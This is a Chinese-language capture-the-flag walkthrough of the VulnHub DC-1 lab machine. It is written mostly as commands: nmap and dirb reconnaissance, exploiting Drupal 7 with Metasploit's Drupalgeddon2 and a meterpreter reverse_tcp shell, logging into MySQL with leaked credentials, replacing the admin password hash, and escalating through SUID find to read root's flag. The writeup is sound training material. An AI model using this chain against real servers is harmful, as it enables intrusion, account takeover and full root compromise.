环境搭建
DC-1靶机 下载地址:https://www.vulnhub.com/
kali 下载地址:https://www.kali.org/
将两台虚拟机都设置为nat模式
信息收集
-
扫描靶机ip
nmap 192.168.117.0/24
-
对靶机进行详细扫描
nmap -A 192.168.117.144 -p-
- 开放80端口,用浏览器访问
- 使用wappalyzer插件,可以看到靶机系统为Drupal 7,网站可能存在漏洞
- 尝试注册用户,注册失败
- 扫描敏感目录,发现都没什么用
dirb http://192.168.117.144
漏洞检测
-
进入msf工具,查找系统漏洞
msfconsole //进入msf工具 search Drupa //查找Drupa系统的漏洞
-
经过尝试,发现只有geddon2漏洞可以利用,查看并选择payload,选择meterpreter目录下的reverse_tcp服务
use 1 //使用第一个漏洞 show payloads //查看payloads set payload php/meterpreter/reverse_tcp //选择tcp服务
-
查看是否有需要手工设置的选项
show options
-
其中required显示为yes表示需要我们手动设置,从描述看出,rhosts最有可能需要我们设置,设置完ip地址后运行
set rhosts 192.168.117.144 run
- 可以看到我们获得了meterpreter的shell,表明我们成功入侵了该靶机,并且可以看到攻击机和被攻击机的ip
漏洞利用
-
查看靶机文件,发现第一个flag
ls //查看当前目录下文件 cat flag1.txt
-
第一个flag意思是“每个好的CMS都需要一个配置文件 - 你也是。”提示需要查找cms的配置文件,此时有两种方法
-
在该目录下遍历所有的子目录及文件,查找所有配置文件,发现在/sites/default下存在setting.php文件
-
开启一个shell,使用find命令查找包含set的文件
shell python -c "import pty;pty.spawn('/bin/bash')" find ./ -name "set*"
-
-
查看配置文件
cat ./sites/default/settings.php
-
得到第二个flag,意思是“暴力破解和字典攻击并不是获得访问权限的唯一方法(您将需要访问权限)。 您可以使用这些凭据做什么?”得到数据库的用户名和密码,就想办法进入mysql
-
打开shell,进入交互模式(如果第二步进入则无需再次进入)
shell python -c "import pty;pty.spawn('/bin/bash')"
-
登录mysql
mysql -udbuser -pR0ck3t
-
查看数据库信息,查找是否有user表
show databases; use drupaldb; show tables;
-
发现其中有users表,查看用户信息
select * from users;
-
users表中密码被加密,哈希密码是单向不可逆的,很难被解密软件爆破,因此采用替换的方法,找到靶机的加密算法,将我们自己设定的密码转换为哈希密文,并替换users表中的密码
-
查百度发现drupal默认使用passwd_hash.sh生成密码,查找该文件
find ./ -name "*hash*"
-
查看这个hash文件,确认是否是需要的文件
cat ./scripts/password-hash.sh
-
生成密码为dc1的哈希值
php ./scripts/password-hash.sh dc1
-
登录数据库,进行替换
mysql -udbuser -pR0ck3t update drupaldb.users set pass="$S$DVftcmOmxR/.9z3nr04ywKkGVHKdIbhVItV5Ruk5u9BUuHk3Aq82" where name="admin";
- 使用admin登录,密码为dc1
- 找寻有用的信息,在Dashboard中发现第三个flag
-
第三个flag意思是“特殊的权限将帮助找到密码 - 但您需要执行一些命令来弄清楚如何获隐藏内容。”提示为:提权,passwd文件、shadow文件
-
退出mysql,尝试查看passwd文件是否存在
cat /etc/passwd
-
发现第四个flag的路径,进入此路径查看flag4
cat /home/flag4/flag4.txt
提权
-
第四个flag意思是“您可以使用相同的方法来查找或访问 root 中的flag吗?可能。但也许这并不容易。 或者也许是?”提示另一个flag在root里,需要提权,尝试查找flag文件
find / -name "*flag*"
-
最后一个flag在root中,使用提示中的find -perm命令进行提权
find / -perm -u=s -type f 2>/dev/null //-perm 按照权限查找 -u=s 拥有者是s权限 -type 查找,f文件、d目录、c字符设备 2>/dev/null 将标准错误stderr删掉
-
查找出有root权限的目录,发现/usr/bin/find是root权限
-
创建一个文件dc-1,测试-exec后的命令是否能执行
touch dc-1 find dc-1 -exec whoami \;
-
确认find拥有root权限,并且-exec后的命令可以以root权限执行,打开最后一个flag
find dc-1 -exec cat /root/thefinalflag.txt \;
- 最后一个flag意思是“干的好!!!!希望您喜欢这个并学到了一些新技能。”